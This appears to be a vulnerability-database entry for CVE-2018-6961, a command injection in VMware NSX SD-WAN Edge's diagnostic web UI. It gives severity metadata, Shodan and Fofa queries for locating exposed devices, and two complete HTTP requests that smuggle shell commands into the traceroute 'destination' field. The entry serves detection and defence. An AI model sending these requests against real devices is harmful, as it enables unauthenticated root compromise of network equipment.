| Title | VMware NSX SD-WAN Edge - Command Injection |
|---|---|
| Author | D3nverNg,thewindghost |
| Severity | Critical |
| Impact | Successful exploitation allows unauthenticated remote code execution as root. |
| Remediation | Upgrade to VMware SD-WAN Edge version 3.1.2 or later (diagnostic web UI component removed). |
| CVSS Score | 8.1 |
| EPSS Score | 0.93224 |
| CVE ID | CVE-2018-6961 |
| CWE ID | CWE-78 |
| Shodan Query | title:"VeloCloud" |
| Fofa Query | title="VeloCloud" |
| Tags | cve cve2018 vmware nsx sd-wan velocloud rce kev vkev |
VMware NSX SD-WAN Edge (formerly VeloCloud Edge) before 3.1.2 contains an unauthenticated command injection in the local web UI diagnostic tools (Ping/Traceroute). This template detects it reliably by injecting ‘id’, ‘whoami’, and a random marker.
POST /scripts/ajaxPortal.lua HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Connection: close
Content-Length: 101
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
destination=8.8.8.8`id`&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic
POST /scripts/ajaxPortal.lua HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Content-Length: 118
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
destination=8.8.8.8$(id;echo Oa71L3UNLo)&source=ge1&test=TRACEROUTE&requestTimeout=900&auth_token=&_cmd=run_diagnostic
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-6961.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-6961.pcap
N/AN/A